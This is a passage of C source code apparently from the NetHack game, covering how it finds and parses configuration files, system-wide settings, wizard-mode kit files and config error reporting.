{ return fp; } else if (strcmp(default_configfile, configfile)) { set_configfile_name(default_configfile); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; } #ifdef MSDOS set_configfile_name(fqname(backward_compat_configfile, CONFIGPREFIX, 0)); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) { return fp; } else if (strcmp(backward_compat_configfile, configfile)) { set_configfile_name(backward_compat_configfile); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; } #endif #else /* constructed full path names don't need fqname() */ #ifdef VMS /* no punctuation, so might be a logical name */ set_configfile_name("nethackini"); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; set_configfile_name("sys$login:nethack.ini"); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; envp = nh_getenv("HOME"); if (!envp || !*envp) Strcpy(tmp_config, "NetHack.cnf"); else Sprintf(tmp_config, "%s%s%s", envp, !index(":]>/", envp[strlen(envp) - 1]) ? "/" : "", "NetHack.cnf"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; #else /* should be only UNIX left */ envp = nh_getenv("HOME"); if (!envp) Strcpy(tmp_config, ".nethackrc"); else Sprintf(tmp_config, "%s/%s", envp, ".nethackrc"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; #if defined(__APPLE__) /* UNIX+__APPLE__ => MacOSX */ /* try an alternative */ if (envp) { /* OSX-style configuration settings */ Sprintf(tmp_config, "%s/%s", envp, "Library/Preferences/NetHack Defaults"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; /* may be easier for user to edit if filename has '.txt' suffix */ Sprintf(tmp_config, "%s/%s", envp, "Library/Preferences/NetHack Defaults.txt"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; } #endif /*__APPLE__*/ if (errno != ENOENT) { const char *details; /* e.g., problems when setuid NetHack can't search home directory restricted to user */ #if defined(NHSTDC) && !defined(NOTSTDC) if ((details = strerror(errno)) == 0) #endif details = ""; raw_printf("Couldn't open default config file %s %s(%d).", configfile, details, errno); wait_synch(); } #endif /* !VMS => Unix */ #endif /* !(MICRO || MAC || __BEOS__ || WIN32) */ return (FILE *) 0; } /* * Retrieve a list of integers from buf into a uchar array. * * NOTE: zeros are inserted unless modlist is TRUE, in which case the list * location is unchanged. Callers must handle zeros if modlist is FALSE. */ STATIC_OVL int get_uchars(bufp, list, modlist, size, name) char *bufp; /* current pointer */ uchar *list; /* return list */ boolean modlist; /* TRUE: list is being modified in place */ int size; /* return list size */ const char *name; /* name of option for error message */ { unsigned int num = 0; int count = 0; boolean havenum = FALSE; while (1) { switch (*bufp) { case ' ': case '\0': case '\t': case '\n': if (havenum) { /* if modifying in place, don't insert zeros */ if (num || !modlist) list[count] = num; count++; num = 0; havenum = FALSE; } if (count == size || !*bufp) return count; bufp++; break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': havenum = TRUE; num = num * 10 + (*bufp - '0'); bufp++; break; case '\\': goto gi_error; break; default: gi_error: raw_printf("Syntax error in %s", name); wait_synch(); return count; } } /*NOTREACHED*/ } #ifdef NOCWD_ASSUMPTIONS STATIC_OVL void adjust_prefix(bufp, prefixid) char *bufp; int prefixid; { char *ptr; if (!bufp) return; #ifdef WIN32 if (fqn_prefix_locked[prefixid]) return; #endif /* Backward compatibility, ignore trailing ;n */ if ((ptr = index(bufp, ';')) != 0) *ptr = '\0'; if (strlen(bufp) > 0) { fqn_prefix[prefixid] = (char *) alloc(strlen(bufp) + 2); Strcpy(fqn_prefix[prefixid], bufp); append_slash(fqn_prefix[prefixid]); } } #endif /* Choose at random one of the sep separated parts from str. Mangles str. */ STATIC_OVL char * choose_random_part(str,sep) char *str; char sep; { int nsep = 1; int csep; int len = 0; char *begin = str; if (!str) return (char *) 0; while (*str) { if (*str == sep) nsep++; str++; } csep = rn2(nsep); str = begin; while ((csep > 0) && *str) { str++; if (*str == sep) csep--; } if (*str) { if (*str == sep) str++; begin = str; while (*str && *str != sep) { str++; len++; } *str = '\0'; if (len) return begin; } return (char *) 0; } STATIC_OVL void free_config_sections() { if (config_section_chosen) { free(config_section_chosen); config_section_chosen = NULL; } if (config_section_current) { free(config_section_current); config_section_current = NULL; } } STATIC_OVL boolean is_config_section(str) const char *str; { const char *a = rindex(str, ']'); return (a && *str == '[' && *(a+1) == '\0' && (int)(a - str) > 0); } STATIC_OVL boolean handle_config_section(buf) char *buf; { if (is_config_section(buf)) { char *send; if (config_section_current) { free(config_section_current); } config_section_current = dupstr(&buf[1]); send = rindex(config_section_current, ']'); *send = '\0'; debugpline1("set config section: '%s'", config_section_current); return TRUE; } if (config_section_current) { if (!config_section_chosen) return TRUE; if (strcmp(config_section_current, config_section_chosen)) return TRUE; } return FALSE; } #define match_varname(INP, NAM, LEN) match_optname(INP, NAM, LEN, TRUE) /* find the '=' or ':' */ char * find_optparam(buf) const char *buf; { char *bufp, *altp; bufp = index(buf, '='); altp = index(buf, ':'); if (!bufp || (altp && altp < bufp)) bufp = altp; return bufp; } boolean parse_config_line(origbuf) char *origbuf; { #if defined(MICRO) && !defined(NOCWD_ASSUMPTIONS) static boolean ramdisk_specified = FALSE; #endif #ifdef SYSCF int n, src = iflags.parse_config_file_src; #endif char *bufp, buf[4 * BUFSZ]; uchar translate[MAXPCHARS]; int len; boolean retval = TRUE; while (*origbuf == ' ' || *origbuf == '\t') /* skip leading whitespace */ ++origbuf; /* (caller probably already did this) */ (void) strncpy(buf, origbuf, sizeof buf - 1); buf[sizeof buf - 1] = '\0'; /* strncpy not guaranteed to NUL terminate */ /* convert any tab to space, condense consecutive spaces into one, remove leading and trailing spaces (exception: if there is nothing but spaces, one of them will be kept even though it leads/trails) */ mungspaces(buf); /* find the '=' or ':' */ bufp = find_optparam(buf); if (!bufp) { config_error_add("Not a config statement, missing '='"); return FALSE; } /* skip past '=', then space between it and value, if any */ ++bufp; if (*bufp == ' ') ++bufp; /* Go through possible variables */ /* some of these (at least LEVELS and SAVE) should now set the * appropriate fqn_prefix[] rather than specialized variables */ if (match_varname(buf, "OPTIONS", 4)) { /* hack: un-mungspaces to allow consecutive spaces in general options until we verify that this is unnecessary; '=' or ':' is guaranteed to be present */ bufp = find_optparam(origbuf); ++bufp; /* skip '='; parseoptions() handles spaces */ if (!parseoptions(bufp, TRUE, TRUE)) retval = FALSE; } else if (match_varname(buf, "AUTOPICKUP_EXCEPTION", 5)) { add_autopickup_exception(bufp); } else if (match_varname(buf, "BINDINGS", 4)) { if (!parsebindings(bufp)) retval = FALSE; } else if (match_varname(buf, "AUTOCOMPLETE", 5)) { parseautocomplete(bufp, TRUE); } else if (match_varname(buf, "MSGTYPE", 7)) { if (!msgtype_parse_add(bufp)) retval = FALSE; #ifdef NOCWD_ASSUMPTIONS } else if (match_varname(buf, "HACKDIR", 4)) { adjust_prefix(bufp, HACKPREFIX); } else if (match_varname(buf, "LEVELDIR", 4) || match_varname(buf, "LEVELS", 4)) { adjust_prefix(bufp, LEVELPREFIX); } else if (match_varname(buf, "SAVEDIR", 4)) { adjust_prefix(bufp, SAVEPREFIX); } else if (match_varname(buf, "BONESDIR", 5)) { adjust_prefix(bufp, BONESPREFIX); } else if (match_varname(buf, "DATADIR", 4)) { adjust_prefix(bufp, DATAPREFIX); } else if (match_varname(buf, "SCOREDIR", 4)) { adjust_prefix(bufp, SCOREPREFIX); } else if (match_varname(buf, "LOCKDIR", 4)) { adjust_prefix(bufp, LOCKPREFIX); } else if (match_varname(buf, "CONFIGDIR", 4)) { adjust_prefix(bufp, CONFIGPREFIX); } else if (match_varname(buf, "TROUBLEDIR", 4)) { adjust_prefix(bufp, TROUBLEPREFIX); #else /*NOCWD_ASSUMPTIONS*/ #ifdef MICRO } else if (match_varname(buf, "HACKDIR", 4)) { (void) strncpy(hackdir, bufp, PATHLEN - 1); #ifdef MFLOPPY } else if (match_varname(buf, "RAMDISK", 3)) { /* The following ifdef is NOT in the wrong * place. For now, we accept and silently * ignore RAMDISK */ #ifndef AMIGA if (strlen(bufp) >= PATHLEN) bufp[PATHLEN - 1] = '\0'; Strcpy(levels, bufp); ramdisk = (strcmp(permbones, levels) != 0); ramdisk_specified = TRUE; #endif #endif } else if (match_varname(buf, "LEVELS", 4)) { if (strlen(bufp) >= PATHLEN) bufp[PATHLEN - 1] = '\0'; Strcpy(permbones, bufp); if (!ramdisk_specified || !*levels) Strcpy(levels, bufp); ramdisk = (strcmp(permbones, levels) != 0); } else if (match_varname(buf, "SAVE", 4)) { #ifdef MFLOPPY extern int saveprompt; #endif char *ptr; if ((ptr = index(bufp, ';')) != 0) { *ptr = '\0'; #ifdef MFLOPPY if (*(ptr + 1) == 'n' || *(ptr + 1) == 'N') { saveprompt = FALSE; } #endif } #if defined(SYSFLAGS) && defined(MFLOPPY) else saveprompt = sysflags.asksavedisk; #endif (void) strncpy(SAVEP, bufp, SAVESIZE - 1); append_slash(SAVEP); #endif /* MICRO */ #endif /*NOCWD_ASSUMPTIONS*/ } else if (match_varname(buf, "NAME", 4)) { (void) strncpy(plname, bufp, PL_NSIZ - 1); } else if (match_varname(buf, "ROLE", 4) || match_varname(buf, "CHARACTER", 4)) { if ((len = str2role(bufp)) >= 0) flags.initrole = len; } else if (match_varname(buf, "DOGNAME", 3)) { (void) strncpy(dogname, bufp, PL_PSIZ - 1); } else if (match_varname(buf, "CATNAME", 3)) { (void) strncpy(catname, bufp, PL_PSIZ - 1); #ifdef SYSCF } else if (src == SET_IN_SYS && match_varname(buf, "WIZARDS", 7)) { if (sysopt.wizards) free((genericptr_t) sysopt.wizards); sysopt.wizards = dupstr(bufp); if (strlen(sysopt.wizards) && strcmp(sysopt.wizards, "*")) { /* pre-format WIZARDS list now; it's displayed during a panic and since that panic might be due to running out of memory, we don't want to risk attempting to allocate any memory then */ if (sysopt.fmtd_wizard_list) free((genericptr_t) sysopt.fmtd_wizard_list); sysopt.fmtd_wizard_list = build_english_list(sysopt.wizards); } } else if (src == SET_IN_SYS && match_varname(buf, "SHELLERS", 8)) { if (sysopt.shellers) free((genericptr_t) sysopt.shellers); sysopt.shellers = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "EXPLORERS", 7)) { if (sysopt.explorers) free((genericptr_t) sysopt.explorers); sysopt.explorers = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "DEBUGFILES", 5)) { /* if showdebug() has already been called (perhaps we've added some debugpline() calls to option processing) and has found a value for getenv("DEBUGFILES"), don't override that */ if (sysopt.env_dbgfl <= 0) { if (sysopt.debugfiles) free((genericptr_t) sysopt.debugfiles); sysopt.debugfiles = dupstr(bufp); } } else if (src == SET_IN_SYS && match_varname(buf, "DUMPLOGFILE", 7)) { #ifdef DUMPLOG if (sysopt.dumplogfile) free((genericptr_t) sysopt.dumplogfile); sysopt.dumplogfile = dupstr(bufp); #endif #ifdef WIN32 } else if (src == SET_IN_SYS && match_varname(buf, "portable_device_top", 8)) { if (sysopt.portable_device_top) free((genericptr_t) sysopt.portable_device_top); sysopt.portable_device_top = dupstr(bufp); #endif } else if (src == SET_IN_SYS && match_varname(buf, "GENERICUSERS", 12)) { if (sysopt.genericusers) free((genericptr_t) sysopt.genericusers); sysopt.genericusers = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "BONES_POOLS", 10)) { /* max value of 10 guarantees (N % bones.pools) will be one digit so we don't lose control of the length of bones file names */ n = atoi(bufp); sysopt.bones_pools = (n <= 0) ? 0 : min(n, 10); /* note: right now bones_pools==0 is the same as bones_pools==1, but we could change that and make bones_pools==0 become an indicator to suppress bones usage altogether */ } else if (src == SET_IN_SYS && match_varname(buf, "SUPPORT", 7)) { if (sysopt.support) free((genericptr_t) sysopt.support); sysopt.support = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "RECOVER", 7)) { if (sysopt.recover) free((genericptr_t) sysopt.recover); sysopt.recover = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "CHECK_SAVE_UID", 14)) { n = atoi(bufp); sysopt.check_save_uid = n; } else if (src == SET_IN_SYS && match_varname(buf, "CHECK_PLNAME", 12)) { n = atoi(bufp); sysopt.check_plname = n; } else if (match_varname(buf, "SEDUCE", 6)) { n = !!atoi(bufp); /* XXX this could be tighter */ /* allow anyone to turn it off, but only sysconf to turn it on*/ if (src != SET_IN_SYS && n != 0) { config_error_add("Illegal value in SEDUCE"); return FALSE; } sysopt.seduce = n; sysopt_seduce_set(sysopt.seduce); } else if (src == SET_IN_SYS && match_varname(buf, "MAXPLAYERS", 10)) { n = atoi(bufp); /* XXX to get more than 25, need to rewrite all lock code */ if (n < 0 || n > 25) { config_error_add("Illegal value in MAXPLAYERS (maximum is 25)."); return FALSE; } sysopt.maxplayers = n; } else if (src == SET_IN_SYS && match_varname(buf, "PERSMAX", 7)) { n = atoi(bufp); if (n < 1) { config_error_add("Illegal value in PERSMAX (minimum is 1)."); return FALSE; } sysopt.persmax = n; } else if (src == SET_IN_SYS && match_varname(buf, "PERS_IS_UID", 11)) { n = atoi(bufp); if (n != 0 && n != 1) { config_error_add("Illegal value in PERS_IS_UID (must be 0 or 1)."); return FALSE; } sysopt.pers_is_uid = n; } else if (src == SET_IN_SYS && match_varname(buf, "ENTRYMAX", 8)) { n = atoi(bufp); if (n < 10) { config_error_add("Illegal value in ENTRYMAX (minimum is 10)."); return FALSE; } sysopt.entrymax = n; } else if ((src == SET_IN_SYS) && match_varname(buf, "POINTSMIN", 9)) { n = atoi(bufp); if (n < 1) { config_error_add("Illegal value in POINTSMIN (minimum is 1)."); return FALSE; } sysopt.pointsmin = n; } else if (src == SET_IN_SYS && match_varname(buf, "MAX_STATUENAME_RANK", 10)) { n = atoi(bufp); if (n < 1) { config_error_add( "Illegal value in MAX_STATUENAME_RANK (minimum is 1)."); return FALSE; } sysopt.tt_oname_maxrank = n; /* SYSCF PANICTRACE options */ } else if (src == SET_IN_SYS && match_varname(buf, "PANICTRACE_LIBC", 15)) { n = atoi(bufp); #if defined(PANICTRACE) && defined(PANICTRACE_LIBC) if (n < 0 || n > 2) { config_error_add("Illegal value in PANICTRACE_LIBC (not 0,1,2)."); return FALSE; } #endif sysopt.panictrace_libc = n; } else if (src == SET_IN_SYS && match_varname(buf, "PANICTRACE_GDB", 14)) { n = atoi(bufp); #if defined(PANICTRACE) if (n < 0 || n > 2) { config_error_add("Illegal value in PANICTRACE_GDB (not 0,1,2)."); return FALSE; } #endif sysopt.panictrace_gdb = n; } else if (src == SET_IN_SYS && match_varname(buf, "GDBPATH", 7)) { #if defined(PANICTRACE) && !defined(VMS) if (!file_exists(bufp)) { config_error_add("File specified in GDBPATH does not exist."); return FALSE; } #endif if (sysopt.gdbpath) free((genericptr_t) sysopt.gdbpath); sysopt.gdbpath = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "GREPPATH", 7)) { #if defined(PANICTRACE) && !defined(VMS) if (!file_exists(bufp)) { config_error_add("File specified in GREPPATH does not exist."); return FALSE; } #endif if (sysopt.greppath) free((genericptr_t) sysopt.greppath); sysopt.greppath = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "ACCESSIBILITY", 13)) { n = atoi(bufp); if (n < 0 || n > 1) { config_error_add("Illegal value in ACCESSIBILITY (not 0,1)."); return FALSE; } sysopt.accessibility = n; #endif /* SYSCF */ } else if (match_varname(buf, "BOULDER", 3)) { (void) get_uchars(bufp, &ov_primary_syms[SYM_BOULDER + SYM_OFF_X], TRUE, 1, "BOULDER"); } else if (match_varname(buf, "MENUCOLOR", 9)) { if (!add_menu_coloring(bufp)) retval = FALSE; } else if (match_varname(buf, "HILITE_STATUS", 6)) { #ifdef STATUS_HILITES if (!parse_status_hl1(bufp, TRUE)) retval = FALSE; #endif } else if (match_varname(buf, "WARNINGS", 5)) { (void) get_uchars(bufp, translate, FALSE, WARNCOUNT, "WARNINGS"); assign_warnings(translate); } else if (match_varname(buf, "ROGUESYMBOLS", 4)) { if (!parsesymbols(bufp, ROGUESET)) { config_error_add("Error in ROGUESYMBOLS definition '%s'", bufp); retval = FALSE; } switch_symbols(TRUE); } else if (match_varname(buf, "SYMBOLS", 4)) { if (!parsesymbols(bufp, PRIMARY)) { config_error_add("Error in SYMBOLS definition '%s'", bufp); retval = FALSE; } switch_symbols(TRUE); } else if (match_varname(buf, "WIZKIT", 6)) { (void) strncpy(wizkit, bufp, WIZKIT_MAX - 1); #ifdef AMIGA } else if (match_varname(buf, "FONT", 4)) { char *t; if (t = strchr(buf + 5, ':')) { *t = 0; amii_set_text_font(buf + 5, atoi(t + 1)); *t = ':'; } } else if (match_varname(buf, "PATH", 4)) { (void) strncpy(PATH, bufp, PATHLEN - 1); } else if (match_varname(buf, "DEPTH", 5)) { extern int amii_numcolors; int val = atoi(bufp); amii_numcolors = 1L << min(DEPTH, val); #ifdef SYSFLAGS } else if (match_varname(buf, "DRIPENS", 7)) { int i, val; char *t; for (i = 0, t = strtok(bufp, ",/"); t != (char *) 0; i < 20 && (t = strtok((char *) 0, ",/")), ++i) { sscanf(t, "%d", &val); sysflags.amii_dripens[i] = val; } #endif } else if (match_varname(buf, "SCREENMODE", 10)) { extern long amii_scrnmode; if (!stricmp(bufp, "req")) amii_scrnmode = 0xffffffff; /* Requester */ else if (sscanf(bufp, "%x", &amii_scrnmode) != 1) amii_scrnmode = 0; } else if (match_varname(buf, "MSGPENS", 7)) { extern int amii_msgAPen, amii_msgBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_msgAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_msgBPen); } } else if (match_varname(buf, "TEXTPENS", 8)) { extern int amii_textAPen, amii_textBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_textAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_textBPen); } } else if (match_varname(buf, "MENUPENS", 8)) { extern int amii_menuAPen, amii_menuBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_menuAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_menuBPen); } } else if (match_varname(buf, "STATUSPENS", 10)) { extern int amii_statAPen, amii_statBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_statAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_statBPen); } } else if (match_varname(buf, "OTHERPENS", 9)) { extern int amii_otherAPen, amii_otherBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_otherAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_otherBPen); } } else if (match_varname(buf, "PENS", 4)) { extern unsigned short amii_init_map[AMII_MAXCOLORS]; int i; char *t; for (i = 0, t = strtok(bufp, ",/"); i < AMII_MAXCOLORS && t != (char *) 0; t = strtok((char *) 0, ",/"), ++i) { sscanf(t, "%hx", &amii_init_map[i]); } amii_setpens(amii_numcolors = i); } else if (match_varname(buf, "FGPENS", 6)) { extern int foreg[AMII_MAXCOLORS]; int i; char *t; for (i = 0, t = strtok(bufp, ",/"); i < AMII_MAXCOLORS && t != (char *) 0; t = strtok((char *) 0, ",/"), ++i) { sscanf(t, "%d", &foreg[i]); } } else if (match_varname(buf, "BGPENS", 6)) { extern int backg[AMII_MAXCOLORS]; int i; char *t; for (i = 0, t = strtok(bufp, ",/"); i < AMII_MAXCOLORS && t != (char *) 0; t = strtok((char *) 0, ",/"), ++i) { sscanf(t, "%d", &backg[i]); } #endif /*AMIGA*/ #ifdef USER_SOUNDS } else if (match_varname(buf, "SOUNDDIR", 8)) { sounddir = dupstr(bufp); } else if (match_varname(buf, "SOUND", 5)) { add_sound_mapping(bufp); #endif } else if (match_varname(buf, "QT_TILEWIDTH", 12)) { #ifdef QT_GRAPHICS extern char *qt_tilewidth; if (qt_tilewidth == NULL) qt_tilewidth = dupstr(bufp); #endif } else if (match_varname(buf, "QT_TILEHEIGHT", 13)) { #ifdef QT_GRAPHICS extern char *qt_tileheight; if (qt_tileheight == NULL) qt_tileheight = dupstr(bufp); #endif } else if (match_varname(buf, "QT_FONTSIZE", 11)) { #ifdef QT_GRAPHICS extern char *qt_fontsize; if (qt_fontsize == NULL) qt_fontsize = dupstr(bufp); #endif } else if (match_varname(buf, "QT_COMPACT", 10)) { #ifdef QT_GRAPHICS extern int qt_compact_mode; qt_compact_mode = atoi(bufp); #endif } else { config_error_add("Unknown config statement"); return FALSE; } return retval; } #ifdef USER_SOUNDS boolean can_read_file(filename) const char *filename; { return (boolean) (access(filename, 4) == 0); } #endif /* USER_SOUNDS */ struct _config_error_frame { int line_num; int num_errors; boolean origline_shown; boolean fromfile; boolean secure; char origline[4 * BUFSZ]; char source[BUFSZ]; struct _config_error_frame *next; }; static struct _config_error_frame *config_error_data = 0; void config_error_init(from_file, sourcename, secure) boolean from_file; const char *sourcename; boolean secure; { struct _config_error_frame *tmp = (struct _config_error_frame *) alloc(sizeof (struct _config_error_frame)); tmp->line_num = 0; tmp->num_errors = 0; tmp->origline_shown = FALSE; tmp->fromfile = from_file; tmp->secure = secure; tmp->origline[0] = '\0'; if (sourcename && sourcename[0]) { (void) strncpy(tmp->source, sourcename, sizeof (tmp->source) - 1); tmp->source[sizeof (tmp->source) - 1] = '\0'; } else tmp->source[0] = '\0'; tmp->next = config_error_data; config_error_data = tmp; } STATIC_OVL boolean config_error_nextline(line) const char *line; { struct _config_error_frame *ced = config_error_data; if (!ced) return FALSE; if (ced->num_errors && ced->secure) return FALSE; ced->line_num++; ced->origline_shown = FALSE; if (line && line[0]) { (void) strncpy(ced->origline, line, sizeof (ced->origline) - 1); ced->origline[sizeof (ced->origline) - 1] = '\0'; } else ced->origline[0] = '\0'; return TRUE; } /* varargs 'config_error_add()' moved to pline.c */ void config_erradd(buf) const char *buf; { char lineno[QBUFSZ]; if (!buf || !*buf) buf = "Unknown error"; if (!config_error_data) { /* either very early, where pline() will use raw_print(), or player gave bad value when prompted by interactive 'O' command */ pline("%s%s.", !iflags.window_inited ? "config_error_add: " : "", buf); wait_synch(); return; } config_error_data->num_errors++; if (!config_error_data->origline_shown && !config_error_data->secure) { pline("\n%s", config_error_data->origline); config_error_data->origline_shown = TRUE; } if (config_error_data->line_num > 0 && !config_error_data->secure) { Sprintf(lineno, "Line %d: ", config_error_data->line_num); } else lineno[0] = '\0'; pline("%s %s%s.", config_error_data->secure ? "Error:" : " *", lineno, buf); } int config_error_done() { int n; struct _config_error_frame *tmp = config_error_data; if (!config_error_data) return 0; n = config_error_data->num_errors; if (n) { pline("\n%d error%s in %s.\n", n, (n > 1) ? "s" : "", *config_error_data->source ? config_error_data->source : configfile); wait_synch(); } config_error_data = tmp->next; free(tmp); return n; } boolean read_config_file(filename, src) const char *filename; int src; { FILE *fp; boolean rv = TRUE; if (!(fp = fopen_config_file(filename, src))) return FALSE; /* begin detection of duplicate configfile options */ set_duplicate_opt_detection(1); free_config_sections(); iflags.parse_config_file_src = src; rv = parse_conf_file(fp, parse_config_line); (void) fclose(fp); free_config_sections(); /* turn off detection of duplicate configfile options */ set_duplicate_opt_detection(0); return rv; } STATIC_OVL FILE * fopen_wizkit_file() { FILE *fp; #if defined(VMS) || defined(UNIX) char tmp_wizkit[BUFSZ]; #endif char *envp; envp = nh_getenv("WIZKIT"); if (envp && *envp) (void) strncpy(wizkit, envp, WIZKIT_MAX - 1); if (!wizkit[0]) return (FILE *) 0; #ifdef UNIX if (access(wizkit, 4) == -1) { /* 4 is R_OK on newer systems */ /* nasty sneaky attempt to read file through * NetHack's setuid permissions -- this is a * place a file name may be wholly under the player's * control */ raw_printf("Access to %s denied (%d).", wizkit, errno); wait_synch(); /* fall through to standard names */ } else #endif if ((fp = fopenp(wizkit, "r")) != (FILE *) 0) { return fp; #if defined(UNIX) || defined(VMS) } else { /* access() above probably caught most problems for UNIX */ raw_printf("Couldn't open requested config file %s (%d).", wizkit, errno); wait_synch(); #endif } #if defined(MICRO) || defined(MAC) || defined(__BEOS__) || defined(WIN32) if ((fp = fopenp(fqname(wizkit, CONFIGPREFIX, 0), "r")) != (FILE *) 0) return fp; #else #ifdef VMS envp = nh_getenv("HOME"); if (envp) Sprintf(tmp_wizkit, "%s%s", envp, wizkit); else Sprintf(tmp_wizkit, "%s%s", "sys$login:", wizkit); if ((fp = fopenp(tmp_wizkit, "r")) != (FILE *) 0) return fp; #else /* should be only UNIX left */ envp = nh_getenv("HOME"); if (envp) Sprintf(tmp_wizkit, "%s/%s", envp, wizkit); else Strcpy(tmp_wizkit, wizkit); if ((fp = fopenp(tmp_wizkit, "r")) != (FILE *) 0) return fp; else if (errno != ENOENT) { /* e.g., problems when setuid NetHack can't search home * directory restricted to user */ raw_printf("Couldn't open default wizkit file %s (%d).", tmp_wizkit, errno); wait_synch(); } #endif #endif return (FILE *) 0; } /* add to hero's inventory if there's room, otherwise put item on floor */ STATIC_DCL void wizkit_addinv(obj) struct obj *obj; { if (!obj || obj == &zeroobj) return; /* subset of starting inventory pre-ID */ obj->dknown = 1; if (Role_if(PM_PRIEST)) obj->bknown = 1; /* ok to bypass set_bknown() */ /* same criteria as lift_object()'s check for available inventory slot */ if (obj->oclass != COIN_CLASS && inv_cnt(FALSE) >= 52 && !merge_choice(invent, obj)) { /* inventory overflow; can't just place & stack object since hero isn't in position yet, so schedule for arrival later */ add_to_migration(obj); obj->ox = 0; /* index of main dungeon */ obj->oy = 1; /* starting level number */ obj->owornmask = (long) (MIGR_WITH_HERO | MIGR_NOBREAK | MIGR_NOSCATTER); } else { (void) addinv(obj); } } boolean proc_wizkit_line(buf) char *buf; { struct obj *otmp; if (strlen(buf) >= BUFSZ) buf[BUFSZ - 1] = '\0'; otmp = readobjnam(buf, (struct obj *) 0); if (otmp) { if (otmp != &zeroobj) wizkit_addinv(otmp); } else { /* .60 limits output line width to 79 chars */ config_error_add("Bad wizkit item: \"%.60s\"", buf); return FALSE; } return TRUE; } void read_wizkit() { FILE *fp; if (!wizard || !(fp = fopen_wizkit_file())) return; program_state.wizkit_wishing = 1; config_error_init(TRUE, "WIZKIT", FALSE); parse_conf_file(fp, proc_wizkit_line); (void) fclose(fp); config_error_done(); program_state.wizkit_wishing = 0; return; } /* parse_conf_file * * Read from file fp, handling comments, empty lines, config sections, * CHOOSE, and line continuation, calling proc for every valid line. * * Continued lines are merged together with one space in between. */ STATIC_OVL boolean parse_conf_file(fp, proc) FILE *fp; boolean FDECL((*proc), (char *)); { char inbuf[4 * BUFSZ]; boolean rv = TRUE; /* assume successful parse */ char *ep; boolean skip = FALSE, morelines = FALSE; char *buf = (char *) 0; size_t inbufsz = sizeof inbuf; free_config_sections(); while (fgets(inbuf, (int) inbufsz, fp)) { ep = index(inbuf, '\n'); if (skip) { /* in case previous line was too long */ if (ep) skip = FALSE; /* found newline; next line is normal */ } else { if (!ep) { /* newline missing */ if (strlen(inbuf) < (inbufsz - 2)) { /* likely the last line of file is just missing a newline; process it anyway */ ep = eos(inbuf); } else { config_error_add("Line too long, skipping"); skip = TRUE; /* discard next fgets */ } } else { *ep = '\0'; /* remove newline */ } if (ep) { char *tmpbuf = (char *) 0; int len; boolean ignoreline = FALSE; boolean oldline = FALSE; /* line continuation (trailing '\') */ morelines = (--ep >= inbuf && *ep == '\\'); if (morelines) *ep = '\0'; /* trim off spaces at end of line */ while (ep >= inbuf && (*ep == ' ' || *ep == '\t' || *ep == '\r')) *ep-- = '\0'; if (!config_error_nextline(inbuf)) { rv = FALSE; if (buf) free(buf), buf = (char *) 0; break; } ep = inbuf; while (*ep == ' ' || *ep == '\t') ++ep; /* ignore empty lines and full-line comment lines */ if (!*ep || *ep == '#') ignoreline = TRUE; if (buf) oldline = TRUE; /* merge now read line with previous ones, if necessary */ if (!ignoreline) { len = (int) strlen(ep) + 1; /* +1: final '\0' */ if (buf) len += (int) strlen(buf) + 1; /* +1: space */ tmpbuf = (char *) alloc(len); *tmpbuf = '\0'; if (buf) { Strcat(strcpy(tmpbuf, buf), " "); free(buf); } buf = strcat(tmpbuf, ep); buf[sizeof inbuf - 1] = '\0'; } if (morelines || (ignoreline && !oldline)) continue; if (handle_config_section(buf)) { free(buf); buf = (char *) 0; continue; } /* from here onwards, we'll handle buf only */ if (match_varname(buf, "CHOOSE", 6)) { char *section; char *bufp = find_optparam(buf); if (!bufp) { config_error_add( "Format is CHOOSE=section1,section2,..."); rv = FALSE; free(buf); buf = (char *) 0; continue; } bufp++; if (config_section_chosen) free(config_section_chosen), config_section_chosen = 0; section = choose_random_part(bufp, ','); if (section) { config_section_chosen = dupstr(section); } else { config_error_add("No config section to choose"); rv = FALSE; } free(buf); buf = (char *) 0; continue; } if (!proc(buf)) rv = FALSE; free(buf); buf = (char *) 0; } } } if (buf) free(buf); free_config_sections(); return rv; } extern struct symsetentry *symset_list; /* options.c */ extern const char *known_handling[]; /* drawing.c */ extern const char *known_restrictions[]; /* drawing.c */ static int symset_count = 0; /* for pick-list building only */ static boolean chosen_symset_start = FALSE, chosen_symset_end = FALSE; static int symset_which_set = 0; STATIC_OVL FILE * fopen_sym_file() { FILE *fp; fp = fopen_datafile(SYMBOLS, "r", #ifdef WIN32 SYSCONFPREFIX #else HACKPREFIX #endif ); return fp; } /* * Returns 1 if the chose symset was found and loaded. * 0 if it wasn't found in the sym file or other problem. */ int read_sym_file(which_set) int which_set; { FILE *fp; symset[which_set].explicitly = FALSE; if (!(fp = fopen_sym_file())) return 0; symset[which_set].explicitly = TRUE; symset_count = 0; chosen_symset_start = chosen_symset_end = FALSE; symset_which_set = which_set; config_error_init(TRUE, "symbols", FALSE); 